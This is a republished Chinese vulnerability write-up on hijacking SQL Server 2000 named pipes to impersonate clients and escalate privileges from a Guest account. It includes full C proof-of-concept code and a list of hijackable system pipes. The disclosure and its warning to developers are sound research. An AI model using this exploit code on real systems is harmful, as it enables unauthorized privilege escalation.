最新文章專題視頻專題問(wèn)答1問(wèn)答10問(wèn)答100問(wèn)答1000問(wèn)答2000關(guān)鍵字專題1關(guān)鍵字專題50關(guān)鍵字專題500關(guān)鍵字專題1500TAG最新視頻文章推薦1 推薦3 推薦5 推薦7 推薦9 推薦11 推薦13 推薦15 推薦17 推薦19 推薦21 推薦23 推薦25 推薦27 推薦29 推薦31 推薦33 推薦35 推薦37視頻文章20視頻文章30視頻文章40視頻文章50視頻文章60 視頻文章70視頻文章80視頻文章90視頻文章100視頻文章120視頻文章140 視頻2關(guān)鍵字專題關(guān)鍵字專題tag2tag3文章專題文章專題2文章索引1文章索引2文章索引3文章索引4文章索引5123456789101112131415文章專題3
問(wèn)答文章1 問(wèn)答文章501 問(wèn)答文章1001 問(wèn)答文章1501 問(wèn)答文章2001 問(wèn)答文章2501 問(wèn)答文章3001 問(wèn)答文章3501 問(wèn)答文章4001 問(wèn)答文章4501 問(wèn)答文章5001 問(wèn)答文章5501 問(wèn)答文章6001 問(wèn)答文章6501 問(wèn)答文章7001 問(wèn)答文章7501 問(wèn)答文章8001 問(wèn)答文章8501 問(wèn)答文章9001 問(wèn)答文章9501
當(dāng)前位置: 首頁(yè) - 科技 - 知識(shí)百科 - 正文

SQLSERVER2000通訊管道后復(fù)用劫持

來(lái)源:懂視網(wǎng) 責(zé)編:小采 時(shí)間:2020-11-09 07:05:11
文檔

SQLSERVER2000通訊管道后復(fù)用劫持

SQLSERVER2000通訊管道后復(fù)用劫持:作者:FLASHSKY SITE:WWW.XFOCUS.NET 郵件:flashsky@xfocus.org SQL SERVER 2000通訊中,允許使用有名管道來(lái)進(jìn)行通訊,一般情況下是如此命名的: 默認(rèn)實(shí)例:\\.\pipe\sql\query 命名實(shí)例:\\.\pipe\MSSQL$instancename\s
推薦度:
導(dǎo)讀SQLSERVER2000通訊管道后復(fù)用劫持:作者:FLASHSKY SITE:WWW.XFOCUS.NET 郵件:flashsky@xfocus.org SQL SERVER 2000通訊中,允許使用有名管道來(lái)進(jìn)行通訊,一般情況下是如此命名的: 默認(rèn)實(shí)例:\\.\pipe\sql\query 命名實(shí)例:\\.\pipe\MSSQL$instancename\s

作者:FLASHSKY
SITE:WWW.XFOCUS.NET
郵件:flashsky@xfocus.org

SQL SERVER 2000通訊中,允許使用有名管道來(lái)進(jìn)行通訊,一般情況下是如此命名的:
默認(rèn)實(shí)例:\\.\pipe\sql\query
命名實(shí)例:\\.\pipe\MSSQL$instancename\sql\query
也可以通過(guò)1434 UDP進(jìn)行查詢獲得這個(gè)管道名稱

但是由于SQL SERVER 2000對(duì)于這個(gè)管道的ACL設(shè)置為NULL,導(dǎo)致任何用戶的權(quán)限都可以對(duì)這個(gè)管道進(jìn)行劫持,以前的劫持都是利用先停掉服務(wù),再建立這個(gè)名字管道,然后再啟動(dòng)服務(wù)來(lái)復(fù)用自己已經(jīng)建立了名字的管道,但實(shí)際上SQL SERVER 2000會(huì)判斷是否已有同名管道,然后會(huì)取別的名字,而且低級(jí)權(quán)限的用戶也啟動(dòng)和停止不了服務(wù)(除非是利用一些漏洞),但是實(shí)際上對(duì)管道的測(cè)試卻發(fā)現(xiàn):如果ACL設(shè)置成NULL的話,即使是后命名的管道,也可以劫持先命令的管道,只需要簡(jiǎn)單復(fù)用管道,然后自己建立幾個(gè)管道的連接不釋放(具體建立幾個(gè)估計(jì)和真正的管道
建立時(shí)的實(shí)例個(gè)數(shù)有關(guān),如在我的測(cè)試下,\\.\pipe\sql\query只需要建立1個(gè)接可以劫持了,而\\.\pipe\lsass則需要4-5個(gè)之后才能劫持。不過(guò)\\.\pipe\lsass的ACL只能是管理員才能進(jìn)行劫持)
如果攻擊者復(fù)用了同名管道以后,建立起幾個(gè)不釋放的管道(消耗掉了正常管道的實(shí)例),然后再有客戶發(fā)起的管道連接就進(jìn)入了攻擊者程序的管道監(jiān)聽(tīng)流程,剩下的就是大家都知道的利用模擬函數(shù)獲得發(fā)起者權(quán)限的老生常談了:
下面就是一個(gè)簡(jiǎn)單的例子,實(shí)現(xiàn)對(duì)SQL SERVER 2000管道通訊的劫持
環(huán)境:SQL SERVER 2000+SP2
      WIN2000 SERVER中文版+SP3
測(cè)試流程:
     1。先建立SQL 服務(wù)器允許管道通訊,和集成WINDOWS 驗(yàn)證,添加一個(gè)具備高權(quán)限的允許SQL SERVER登陸的WINDOWS本機(jī)帳戶,啟動(dòng)SQL SERVER服務(wù)
     2。C盤(pán)下建立一個(gè)TEST.TXT文件,設(shè)置ACL為GUEST全部拒絕,其他人都許可
     3。在另外一臺(tái)機(jī)器B上,以添加的可以登陸SQL SERVER的服務(wù)器帳戶登陸,然后設(shè)置客戶端網(wǎng)絡(luò)庫(kù)只為管道(如果有多個(gè),可能就會(huì)是隨機(jī)選一個(gè)連接,而不肯定是管道進(jìn)行通訊了)
     4。然后用SQL SERVER企業(yè)管理器建立一個(gè)SQL SERVER的連接,使用集成WINDOWS驗(yàn)證
     5。SQL SERVER這邊的機(jī)器進(jìn)入GUEST帳戶運(yùn)行下面C代碼的程序,會(huì)顯示先無(wú)法打開(kāi)TEST.TXT文件,然后進(jìn)行劫持,等待客戶端管道連接
     6。在機(jī)器B上,連接SQL SERVER,然后主機(jī)A的程序就會(huì)截獲這個(gè)管道扮演高權(quán)限登陸用戶,然后可以打開(kāi)先沒(méi)權(quán)限打開(kāi)的文件。

    當(dāng)然這個(gè)攻擊本身實(shí)際的意義可能不大,因?yàn)楣烙?jì)現(xiàn)在SQL SERVER用管道建立通訊的比較少,而且在都允許的情況下,一般會(huì)主動(dòng)選擇TCP方式進(jìn)行連接,但同時(shí)說(shuō)明了:一個(gè)缺乏很好ACL保護(hù)的管道,也可以用后發(fā)復(fù)用來(lái)進(jìn)行劫持,這就減少了很多需要先停掉服務(wù)或預(yù)先預(yù)測(cè)的難題,在編寫(xiě)服務(wù)器端管道應(yīng)用的時(shí)候也必須小心。

SQL SERVER 2000劫持代碼

#include <windows.h>
#include <winbase.h>
#include <stdio.h>
#include <stdlib.h>

void main()
{
 HANDLE pipea;
 FILE * fp;
 DWORD ret;
 DWORD num;
 HANDLE pipeb[100];
 int i;
 int dwSize ;
 char szUser[256]; 
 DWORD dwNumber = 0;
 //先的測(cè)試,在GUEST權(quán)限下無(wú)法打開(kāi)此文件
 fp = fopen("C:\\test.txt","w");
 if(fp==NULL)
 printf("now you don't open file;\n");
 //建立起一個(gè)同名管道,復(fù)用已存在的SQL SERVER的
 pipea = CreateNamedPipe("\\\\.\\pipe\\sql\\query",
 PIPE_ACCESS_DUPLEX,
 PIPE_TYPE_MESSAGE|PIPE_WAIT,
 100,
 2048,
 2048,
 NMPWAIT_USE_DEFAULT_WAIT,
 NULL);

 if(pipea ==INVALID_HANDLE_VALUE)
 {
 ret = GetLastError();
 printf("error in createnamedpipe!code=%d\n",ret);
 return;
 }
 //損耗掉其他正常實(shí)例
 if(WaitNamedPipe("\\\\.\\pipe\\sql\\query",NMPWAIT_WAIT_FOREVER)==0)
 {
 printf("no this pipe\n");
 return;
 }
 //可以調(diào)整個(gè)數(shù),SQL SERVER只需要調(diào)整一個(gè)就可以了
 for(i=0;i<1;i++)
 {
 Sleep(20);
 if((pipeb[i]=CreateFile("\\\\.\\pipe\\sql\\query",GENERIC_WRITE|GENERIC_READ,0,(LPSECURITY_ATTRIBUTES)NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,(HANDLE)NULL))==INVALID_HANDLE_VALUE)
 {
 printf("open pipe failed\n");
 return;
 }
 //WriteFile(pipeb[i],"test1",5,&num,NULL);
 //WriteFile(pipeb[i],"test2",5,&num,NULL);
 }
 //然后等待連接
 ConnectNamedPipe (pipea, NULL);
 ReadFile(pipea, (void *) &dwNumber, 4, &dwSize, NULL);
 //模擬連接進(jìn)來(lái)的用戶
 ImpersonateNamedPipeClient (pipea);
 dwSize = 256;
 //獲得用戶信息
 GetUserName(szUser, &dwSize);
 printf ("Impersonating: %s\n", szUser); 
 //然后再測(cè)試是否能打開(kāi)這個(gè)文件,證明確實(shí)提升了權(quán)限
 fp = fopen("C:\\test.txt","w");
 if(fp!=NULL)
 printf("now you can open file\n");
 DisconnectNamedPipe(pipea);
 CloseHandle(pipea);
 for(i=0;i<1;i++)
 CloseHandle(pipeb[i]); 
 return;
} 

補(bǔ)充:
所有管道都有這個(gè)漏洞,就是看ACL能否允許你復(fù)用,只要能復(fù)用就可以
如//./pipe/lsass 我都可以劫持,但是他的ACL定義成只能administrator進(jìn)行劫持
目前測(cè)試了一下默認(rèn)的一些管道基本ACL設(shè)置好好,不允許低級(jí)權(quán)限用戶復(fù)制,但SQL的管道顯示ACL設(shè)置的很差
可能更多服務(wù)或者其他的第三方的服務(wù)中存在這樣沒(méi)有很好ACL保護(hù)的管道,那么就意味著后復(fù)用也可以劫持成功

下面是我開(kāi)啟了所有默認(rèn)的WIN的服務(wù),然后獲取的系統(tǒng)管道測(cè)試的結(jié)果(沒(méi)有開(kāi)啟終端服務(wù),我機(jī)器沒(méi)裝,裝了終端服務(wù)的可以測(cè)一下),另外也不能說(shuō)沒(méi)有意義,我前面看見(jiàn)一篇文章還專門(mén)推薦用集成驗(yàn)證加管道通訊獲得更安全的SQL SERVER呢,嘿嘿
Pipe name (Number of instances, Maximum instances)

InitShutdown (2, -1)<---------------可以在ADMIN下劫持
net\NtControlPipe5 (1, 1)
llsrpc (2, -1)   <---------------可以在ADMIN下劫持
000001e8.000 (2, -1) <-----------可以在ADMIN下劫持
net\NtControlPipe8 (1, 1)
net\NtControlPipe9 (1, 1)
ProfMapApi (2, -1)<--------------可以在ADMIN下劫持
epmapper (2, -1)<----------------可以在ADMIN下劫持
WMIEP_454 (2, -1)<---------------可以在ADMIN下劫持<------GUEST用戶可劫持
WMIEP_444 (2, -1)<---------------可以在ADMIN下劫持<------GUEST用戶可劫持
net\NtControlPipe11 (1, 1)
WMIEP_3c8 (2, -1)<---------------可以在ADMIN下劫持
net\NtControlPipe12 (1, 1)
net\NtControlPipe13 (1, 1)
nddeapi (2, -1)<-----------------可以在ADMIN下劫持<------GUEST用戶可劫持
NetDDE (1, 1)                    返回所有管道實(shí)例都忙的錯(cuò)誤信息,不知道是否ACL設(shè)置許可復(fù)用
net\NtControlPipe14 (1, 1)
Winsock2\CatalogChangeListener-e8-0 (1, 1)<-----------------可以在ADMIN下劫持
net\NtControlPipe15 (1, 1)
Winsock2\CatalogChangeListener-574-0 (1, 1)<-----------------可以在ADMIN下劫持
WMIEP_640 (2, -1)<-----------------可以在ADMIN下劫持
Winsock2\CatalogChangeListener-640-0 (1, 1)<-----------------可以在ADMIN下劫持
net\NtControlPipe25 (1, 1)
WMIEP_6f0 (2, -1)<-----------------可以在ADMIN下劫持
sql\console (1, -1)<---------------可以在ADMIN下劫持<------GUEST用戶可劫持
SQL\QUERY (1, -1)<-----------------可以在ADMIN下劫持<------GUEST用戶可劫持
net\NtControlPipe26 (1, 1)
tsx_listener (1, 1)         返回所有管道實(shí)例都忙的錯(cuò)誤信息,不知道是否ACL設(shè)置許可復(fù)用
winreg (2, -1)<-----------------可以在ADMIN下劫持
Winsock2\CatalogChangeListener-6f0-0 (1, 1)<-----------------可以在ADMIN下劫持

其中在GUEST權(quán)限下可劫持的有
WMIEP_454 (2, -1)<---------------可以在ADMIN下劫持<------GUEST用戶可劫持
WMIEP_444 (2, -1)<---------------可以在ADMIN下劫持<------GUEST用戶可劫持
nddeapi (2, -1)<-----------------可以在ADMIN下劫持<------GUEST用戶可劫持
sql\console (1, -1)<---------------可以在ADMIN下劫持<------GUEST用戶可劫持
SQL\QUERY (1, -1)<-----------------可以在ADMIN下劫持<------GUEST用戶可劫持
SQL 的就不說(shuō)了,不過(guò)sql\console這個(gè)管道用于什么方面還不清楚,如果有默認(rèn)的一些用途的話,估計(jì)也是一個(gè)點(diǎn)。
nddeapi的基本存在nddeapi的應(yīng)用的話就可以發(fā)生
WMI的就難點(diǎn),看這樣子是隨著發(fā)展每個(gè)連接都會(huì)新建起來(lái)的,那樣后復(fù)用作用就不大,只能采用預(yù)測(cè)名字的方法提前復(fù)用來(lái)攻擊,但是奇怪的是其權(quán)限是不同的,有些WMI的不能GUEST復(fù)用,有些又可以,有時(shí)間了具體測(cè)試一下WMI客戶與服務(wù)器之間連接產(chǎn)生的管道通訊的情況,或許也是走一個(gè)默認(rèn)的管道名,說(shuō)不定就可以攻擊了呢,:)

聲明:本網(wǎng)頁(yè)內(nèi)容旨在傳播知識(shí),若有侵權(quán)等問(wèn)題請(qǐng)及時(shí)與本網(wǎng)聯(lián)系,我們將在第一時(shí)間刪除處理。TEL:177 7030 7066 E-MAIL:11247931@qq.com

文檔

SQLSERVER2000通訊管道后復(fù)用劫持

SQLSERVER2000通訊管道后復(fù)用劫持:作者:FLASHSKY SITE:WWW.XFOCUS.NET 郵件:flashsky@xfocus.org SQL SERVER 2000通訊中,允許使用有名管道來(lái)進(jìn)行通訊,一般情況下是如此命名的: 默認(rèn)實(shí)例:\\.\pipe\sql\query 命名實(shí)例:\\.\pipe\MSSQL$instancename\s
推薦度:
標(biāo)簽: 通訊 管道 劫持
  • 熱門(mén)焦點(diǎn)

最新推薦

猜你喜歡

熱門(mén)推薦

專題
Top